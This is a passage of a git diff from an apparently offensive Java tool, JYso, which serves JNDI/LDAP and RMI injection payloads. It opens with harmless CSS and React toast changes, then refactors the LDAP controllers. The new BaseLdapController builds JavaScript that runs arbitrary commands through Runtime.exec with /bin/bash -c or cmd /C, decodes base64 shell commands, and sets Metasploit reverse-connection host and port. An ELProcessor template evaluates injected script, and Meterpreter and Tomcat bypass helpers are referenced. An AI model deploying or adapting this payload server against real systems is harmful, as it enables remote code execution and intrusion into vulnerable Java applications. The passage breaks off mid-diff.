transition: all .2s;
|
transition: all var(--transition-fast);
|
||||||
margin-bottom: 10px;
|
margin-bottom: 10px;
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
font-family: 'Inter', sans-serif;
|
font-family: 'Inter', sans-serif;
|
||||||
}
|
}
|
||||||
.file-upload-zone:hover {
|
.file-upload-zone:hover {
|
||||||
border-color: var(--primary);
|
border-color: var(--accent);
|
||||||
color: var(--primary);
|
color: var(--accent);
|
||||||
|
background: var(--accent-glow);
|
||||||
}
|
}
|
||||||
.file-upload-zone.drag-over {
|
.file-upload-zone.drag-over {
|
||||||
border-color: var(--primary);
|
border-color: var(--accent);
|
||||||
background: rgba(99, 102, 241, 0.08);
|
background: var(--accent-glow);
|
||||||
color: var(--primary);
|
color: var(--accent);
|
||||||
}
|
}
|
||||||
.file-upload-zone.uploading {
|
.file-upload-zone.uploading {
|
||||||
opacity: 0.6;
|
opacity: 0.6;
|
||||||
pointer-events: none;
|
pointer-events: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar {
|
||||||
|
width: 6px;
|
||||||
|
height: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-track {
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb {
|
||||||
|
background: var(--text-muted);
|
||||||
|
border-radius: 3px;
|
||||||
|
opacity: 0.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb:hover {
|
||||||
|
background: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-corner {
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toast-container {
|
||||||
|
position: fixed;
|
||||||
|
top: 20px;
|
||||||
|
left: 50%;
|
||||||
|
transform: translateX(-50%);
|
||||||
|
z-index: 1000;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 8px;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toast {
|
||||||
|
pointer-events: auto;
|
||||||
|
padding: 12px 20px;
|
||||||
|
border-radius: 14px;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: 500;
|
||||||
|
backdrop-filter: blur(24px) saturate(180%);
|
||||||
|
-webkit-backdrop-filter: blur(24px) saturate(180%);
|
||||||
|
box-shadow: var(--card-shadow-lg);
|
||||||
|
animation: toastSlideIn 320ms cubic-bezier(0.22, 0.1, 0, 1) both, toastFadeOut 320ms cubic-bezier(0.22, 0.1, 0, 1) 2800ms forwards;
|
||||||
|
max-width: 420px;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toast-success {
|
||||||
|
background: var(--success-bg);
|
||||||
|
color: var(--success);
|
||||||
|
border: 1px solid var(--success);
|
||||||
|
}
|
||||||
|
|
||||||
|
.toast-error {
|
||||||
|
background: var(--danger-bg);
|
||||||
|
color: var(--danger);
|
||||||
|
border: 1px solid var(--danger);
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes toastSlideIn {
|
||||||
|
from { opacity: 0; transform: translateY(-12px) scale(0.96); }
|
||||||
|
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes toastFadeOut {
|
||||||
|
from { opacity: 1; transform: translateY(0) scale(1); }
|
||||||
|
to { opacity: 0; transform: translateY(-8px) scale(0.96); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.mode-switch-enter {
|
||||||
|
animation: modeSwitchIn 380ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mode-switch-exit {
|
||||||
|
animation: modeSwitchOut 280ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes modeSwitchIn {
|
||||||
|
from { opacity: 0; transform: translateY(16px) scale(0.98); }
|
||||||
|
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes modeSwitchOut {
|
||||||
|
from { opacity: 1; transform: translateY(0) scale(1); }
|
||||||
|
to { opacity: 0; transform: translateY(-8px) scale(0.98); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-icon-wrap {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-icon-wrap .input-icon {
|
||||||
|
position: absolute;
|
||||||
|
left: 12px;
|
||||||
|
top: 50%;
|
||||||
|
transform: translateY(-50%);
|
||||||
|
color: var(--text-muted);
|
||||||
|
pointer-events: none;
|
||||||
|
transition: color var(--transition-fast);
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-icon-wrap input,
|
||||||
|
.input-icon-wrap textarea {
|
||||||
|
padding-left: 38px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-icon-wrap input:focus + .input-icon,
|
||||||
|
.input-icon-wrap textarea:focus + .input-icon {
|
||||||
|
color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.wiki-btn svg {
|
||||||
|
margin-left: 4px;
|
||||||
|
opacity: 0.6;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.page-shell { padding: 48px 16px 32px; }
|
||||||
|
.grid-2 { grid-template-columns: 1fr; }
|
||||||
|
.config-form { grid-template-columns: 1fr; }
|
||||||
|
.config-form .btn { grid-column: span 1; }
|
||||||
|
.login-inner { padding: 36px 28px 32px; }
|
||||||
|
.gadget-layout { flex-direction: column !important; }
|
||||||
|
.gadget-layout > .glass-card { width: 100% !important; }
|
||||||
|
.header { flex-wrap: wrap; gap: 12px; }
|
||||||
|
.header .mode-segment-control { order: 3; width: 100%; }
|
||||||
|
.header-right { order: 2; }
|
||||||
|
.toast { max-width: calc(100vw - 32px); }
|
||||||
|
}
|
||||||
|
|
||||||
@media (prefers-reduced-motion: reduce) {
|
@media (prefers-reduced-motion: reduce) {
|
||||||
*, *::before, *::after {
|
*, *::before, *::after {
|
||||||
transition-duration: 0ms !important;
|
transition-duration: 0ms !important;
|
||||||
|
|||||||
@@ -2,15 +2,18 @@ import React from 'react'
|
|||||||
import ReactDOM from 'react-dom/client'
|
import ReactDOM from 'react-dom/client'
|
||||||
import { HashRouter } from 'react-router-dom'
|
import { HashRouter } from 'react-router-dom'
|
||||||
import { ThemeProvider } from './context/ThemeContext'
|
import { ThemeProvider } from './context/ThemeContext'
|
||||||
|
import { ToastProvider } from './components/Toast'
|
||||||
import App from './App'
|
import App from './App'
|
||||||
import './index.css'
|
import './index.css'
|
||||||
|
|
||||||
ReactDOM.createRoot(document.getElementById('root')).render(
|
ReactDOM.createRoot(document.getElementById('root')).render(
|
||||||
<React.StrictMode>
|
<React.StrictMode>
|
||||||
<ThemeProvider>
|
<ThemeProvider>
|
||||||
<HashRouter>
|
<ToastProvider>
|
||||||
<App />
|
<HashRouter>
|
||||||
</HashRouter>
|
<App />
|
||||||
|
</HashRouter>
|
||||||
|
</ToastProvider>
|
||||||
</ThemeProvider>
|
</ThemeProvider>
|
||||||
</React.StrictMode>
|
</React.StrictMode>
|
||||||
)
|
)
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
|
|||||||
|
|
||||||
import com.qi4l.JYso.controllers.rmi.Basic;
|
import com.qi4l.JYso.controllers.rmi.Basic;
|
||||||
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
||||||
import com.qi4l.JYso.gadgets.utils.JRMPUtils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
|
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||||
@@ -117,7 +117,7 @@ public class RMIServer implements Runnable {
|
|||||||
bufIn.mark(4);
|
bufIn.mark(4);
|
||||||
|
|
||||||
try (DataInputStream in = new DataInputStream(bufIn)) {
|
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||||
DataOutputStream out = JRMPUtils.handshake(in, s);
|
DataOutputStream out = Utils.handshake(in, s);
|
||||||
if (out == null) {
|
if (out == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import java.util.Locale;
|
||||||
|
|
||||||
|
public abstract class BaseLdapController implements LdapController {
|
||||||
|
|
||||||
|
public static String getString(String base, int index) {
|
||||||
|
int cursor = 0;
|
||||||
|
int found = 0;
|
||||||
|
while (cursor < base.length()) {
|
||||||
|
int nextSlash = base.indexOf('/', cursor);
|
||||||
|
if (nextSlash == -1) nextSlash = base.length();
|
||||||
|
|
||||||
|
if (nextSlash > cursor) {
|
||||||
|
if (found == index) {
|
||||||
|
return base.substring(cursor, nextSlash);
|
||||||
|
}
|
||||||
|
found++;
|
||||||
|
}
|
||||||
|
cursor = nextSlash + 1;
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static String getStringQ(String base, int index) {
|
||||||
|
return getString(base, index);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String segment(String base, int index) {
|
||||||
|
return getStringQ(base, index);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String suffixAfterDash(String value) {
|
||||||
|
int dashIndex = value.indexOf('-');
|
||||||
|
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||||
|
String segment = segment(base, 2);
|
||||||
|
if (segment.isEmpty()) return null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||||
|
} catch (IllegalArgumentException ignored) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String[] resolveParams(String base, GadgetType gadgetType) throws Exception {
|
||||||
|
if (gadgetType == null) return new String[0];
|
||||||
|
|
||||||
|
switch (gadgetType) {
|
||||||
|
case base64:
|
||||||
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
return new String[]{cmd};
|
||||||
|
case shell:
|
||||||
|
String encoded = Utils.getCmdFromBase(base);
|
||||||
|
String decoded = Utils.base64Decode(encoded);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||||
|
return decoded.split(" ");
|
||||||
|
case msf:
|
||||||
|
String[] results = Utils.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results[0];
|
||||||
|
Config.rport = results[1];
|
||||||
|
System.out.println(" RemoteHost: " + results[0]);
|
||||||
|
System.out.println(" RemotePort: " + results[1]);
|
||||||
|
return results;
|
||||||
|
default:
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class ParseResult {
|
||||||
|
public final String payloadType;
|
||||||
|
public final GadgetType gadgetType;
|
||||||
|
public final String[] params;
|
||||||
|
|
||||||
|
ParseResult(String payloadType, GadgetType gadgetType, String[] params) {
|
||||||
|
this.payloadType = payloadType;
|
||||||
|
this.gadgetType = gadgetType;
|
||||||
|
this.params = params;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ParseResult parseBase(String base, String header) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println(header);
|
||||||
|
try {
|
||||||
|
String normalized = base.replace('\\', '/');
|
||||||
|
String payloadType = segment(normalized, 1);
|
||||||
|
if (payloadType.isEmpty()) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||||
|
}
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||||
|
|
||||||
|
GadgetType gadgetType = parseGadgetType(normalized);
|
||||||
|
String[] params = resolveParams(normalized, gadgetType);
|
||||||
|
return new ParseResult(payloadType, gadgetType, params);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getExecCode(String cmd) {
|
||||||
|
return "var str_s=new Array(3);\n"
|
||||||
|
+ "if(java.io.File.separator.equals('/')){\n"
|
||||||
|
+ "str_s[0]='/bin/bash';\n"
|
||||||
|
+ "str_s[1]='-c';\n"
|
||||||
|
+ "str_s[2]='" + cmd + "';\n"
|
||||||
|
+ "}else{\n"
|
||||||
|
+ "str_s[0]='cmd';\n"
|
||||||
|
+ "str_s[1]='/C';\n"
|
||||||
|
+ "str_s[2]='" + cmd + "';\n"
|
||||||
|
+ "}\n"
|
||||||
|
+ "java.lang.Runtime.getRuntime().exec(str_s);";
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,12 +1,9 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.qi4l.JYso.gadgets.URLDNS;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
import com.qi4l.JYso.template.Meterpreter;
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
@@ -17,42 +14,18 @@ import org.apache.logging.log4j.Logger;
|
|||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
import java.util.Base64;
|
|
||||||
import java.util.Locale;
|
|
||||||
|
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/basic"})
|
@LdapMapping(uri = {"/basic"})
|
||||||
public class BasicController implements LdapController {
|
public class BasicController extends BaseLdapController {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(BasicController.class);
|
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
|
||||||
private final String codebase = Config.codeBase;
|
private final String codebase = Config.codeBase;
|
||||||
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
|
||||||
private String[] params = new String[0];
|
private String[] params = new String[0];
|
||||||
private GadgetType gadgetType;
|
|
||||||
|
|
||||||
static String getStringQ(String base, int index) {
|
|
||||||
int cursor = 0;
|
|
||||||
int found = 0;
|
|
||||||
while (cursor < base.length()) {
|
|
||||||
int nextSlash = base.indexOf('/', cursor);
|
|
||||||
if (nextSlash == -1) nextSlash = base.length();
|
|
||||||
|
|
||||||
if (nextSlash > cursor) {
|
|
||||||
if (found == index) {
|
|
||||||
return base.substring(cursor, nextSlash);
|
|
||||||
}
|
|
||||||
found++;
|
|
||||||
}
|
|
||||||
cursor = nextSlash + 1;
|
|
||||||
}
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
@@ -67,34 +40,19 @@ public class BasicController implements LdapController {
|
|||||||
entry.addAttribute("javaFactory", className);
|
entry.addAttribute("javaFactory", className);
|
||||||
result.sendSearchEntry(entry);
|
result.sendSearchEntry(entry);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Exception er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error("Error while generating or serializing payload", er);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI Remote Reference Links ");
|
ParseResult result = parseBase(base, "- JNDI Remote Reference Links ");
|
||||||
try {
|
payloadType = result.payloadType;
|
||||||
String normalized = base.replace('\\', '/');
|
params = result.params;
|
||||||
payloadType = segment(normalized, 1);
|
|
||||||
if (payloadType.isEmpty()) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
|
||||||
}
|
|
||||||
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
|
||||||
|
|
||||||
gadgetType = parseGadgetType(normalized);
|
|
||||||
params = resolveParams(normalized);
|
|
||||||
} catch (Exception e) {
|
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据 payload 标识返回需要加载的实现类名称。
|
|
||||||
private String resolvePayloadClass() throws Exception {
|
private String resolvePayloadClass() throws Exception {
|
||||||
if (payloadType.contains("E-")) {
|
if (payloadType.contains("E-")) {
|
||||||
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
||||||
@@ -109,7 +67,6 @@ public class BasicController implements LdapController {
|
|||||||
if (params.length == 0) {
|
if (params.length == 0) {
|
||||||
throw new IncorrectParamsException("Missing command parameters.");
|
throw new IncorrectParamsException("Missing command parameters.");
|
||||||
}
|
}
|
||||||
// 待写
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType.contains("msf")) {
|
if (payloadType.contains("msf")) {
|
||||||
@@ -118,56 +75,4 @@ public class BasicController implements LdapController {
|
|||||||
|
|
||||||
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取路径中的 gadget 片段并转换为枚举值。
|
|
||||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
|
||||||
String segment = segment(base, 2);
|
|
||||||
if (segment.isEmpty()) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
|
||||||
} catch (IllegalArgumentException ignored) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据 gadget 类型构建命令行或回连配置参数。
|
|
||||||
private String[] resolveParams(String base) throws Exception {
|
|
||||||
if (gadgetType == null) {
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
switch (gadgetType) {
|
|
||||||
case base64:
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
|
||||||
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
|
||||||
return new String[]{cmd};
|
|
||||||
case shell:
|
|
||||||
String encoded = Utils.getCmdFromBase(base);
|
|
||||||
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
|
||||||
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
|
||||||
return decoded.split(" ");
|
|
||||||
case msf:
|
|
||||||
String[] results = Utils.getIPAndPortFromBase(base);
|
|
||||||
Config.rhost = results[0];
|
|
||||||
Config.rport = results[1];
|
|
||||||
System.out.println(" RemoteHost: " + results[0]);
|
|
||||||
System.out.println(" RemotePort: " + results[1]);
|
|
||||||
return results;
|
|
||||||
default:
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
|
||||||
private String segment(String base, int index) {
|
|
||||||
return getStringQ(base, index);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 返回连字符后的子串,用于解析自定义类名。
|
|
||||||
private String suffixAfterDash(String value) {
|
|
||||||
int dashIndex = value.indexOf('-');
|
|
||||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,7 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
|
||||||
import com.qi4l.JYso.gadgets.URLDNS;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
@@ -14,30 +11,23 @@ import com.unboundid.ldap.sdk.Entry;
|
|||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.Locale;
|
|
||||||
|
|
||||||
import static com.qi4l.JYso.controllers.BasicController.getStringQ;
|
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/elprocessor"})
|
@LdapMapping(uri = {"/elprocessor"})
|
||||||
public class ELProcessorController implements LdapController {
|
public class ELProcessorController extends BaseLdapController {
|
||||||
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||||
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||||
+ ".eval(\"%s\")}";
|
+ ".eval(\"%s\")}";
|
||||||
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
|
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
|
||||||
|
|
||||||
private String payloadType;
|
private String payloadType;
|
||||||
// 记录解析请求时提取出的命令参数或回连信息。
|
|
||||||
private String[] params = new String[0];
|
private String[] params = new String[0];
|
||||||
private GadgetType gadgetType;
|
|
||||||
|
|
||||||
// 向 LDAP 客户端返回序列化后的 ELProcessor 引用。
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
@@ -59,34 +49,19 @@ public class ELProcessorController implements LdapController {
|
|||||||
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
|
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||||
result.sendSearchEntry(entry);
|
result.sendSearchEntry(entry);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Exception er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error("Error while generating or serializing payload", er);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析请求路径,确定 payload 类型及其所需参数。
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
|
ParseResult result = parseBase(base, "- JNDI LDAP Local Reference Links + ELProcessor");
|
||||||
try {
|
payloadType = result.payloadType;
|
||||||
String normalized = base.replace('\\', '/');
|
params = result.params;
|
||||||
payloadType = segment(normalized, 1);
|
|
||||||
if (payloadType.isEmpty()) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
|
||||||
}
|
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
|
||||||
|
|
||||||
gadgetType = parseGadgetType(normalized);
|
|
||||||
params = resolveParams(normalized);
|
|
||||||
} catch (Exception e) {
|
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造注入到 ELProcessor 中的 JavaScript 代码。
|
|
||||||
private String buildPayloadScript() throws Exception {
|
private String buildPayloadScript() throws Exception {
|
||||||
TomcatBypassHelper helper = new TomcatBypassHelper();
|
TomcatBypassHelper helper = new TomcatBypassHelper();
|
||||||
String scriptBody;
|
String scriptBody;
|
||||||
@@ -107,56 +82,6 @@ public class ELProcessorController implements LdapController {
|
|||||||
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
|
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析路径中的 gadget 片段并转换为枚举。
|
|
||||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
|
||||||
String segment = segment(base, 2);
|
|
||||||
if (segment.isEmpty()) return null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
|
||||||
} catch (IllegalArgumentException ignored) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据不同 gadget 类型构建命令参数或回连配置。
|
|
||||||
private String[] resolveParams(String base) throws Exception {
|
|
||||||
if (gadgetType == null) return new String[0];
|
|
||||||
|
|
||||||
switch (gadgetType) {
|
|
||||||
case base64:
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
|
||||||
return new String[]{cmd};
|
|
||||||
case shell:
|
|
||||||
String encoded = Utils.getCmdFromBase(base);
|
|
||||||
String decoded = Utils.base64Decode(encoded);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
|
||||||
return decoded.split(" ");
|
|
||||||
case msf:
|
|
||||||
String[] results = Utils.getIPAndPortFromBase(base);
|
